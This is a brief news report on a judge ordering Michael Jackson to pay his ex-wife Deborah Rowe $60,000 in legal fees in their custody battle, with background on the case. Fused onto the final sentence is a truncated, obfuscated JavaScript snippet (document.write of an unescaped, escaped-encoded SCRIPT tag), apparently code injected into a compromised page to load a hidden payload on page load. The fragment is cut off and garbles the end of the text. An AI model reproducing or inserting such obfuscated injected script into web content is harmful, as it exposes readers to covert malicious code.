Michael Jackson ordered to pay ex-wife

Michael Jackson lost another legal round against his ex-wife as a judge ordered the pop legend to pay Deborah Rowe 60,000 dollars for legal fees in their battle for custody over of their two children.

Los Angeles Judge Robert Schnider gave Jackson until September 28 to obey the order. Rowe had asked for 195,000 dollars, but the judge noted that she had received eight million dollars in the divorce.

Rowe had given up her parental rights in 2001, but she began legal moves to regain custody shortly after Jackson's November 2003 arrest on charges that he allegedly molested a 13-year-old boy. Jackson was acquitted in the molestation case.

In February, the California Court of Appeal upheld a lower court's ruling invalidating a judge's 2001 ruling under which Rowe agreed to give up her parental rights.

Jackson and the nurse got married in 1996 and had a son, Prince Michael Jr., born in 1997, and a daughter, Paris, born in 1998. The couple divorced in 2000.

The erstwhile "King of Pop" had a third child, Prince Michael II, with another woman in 2002.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22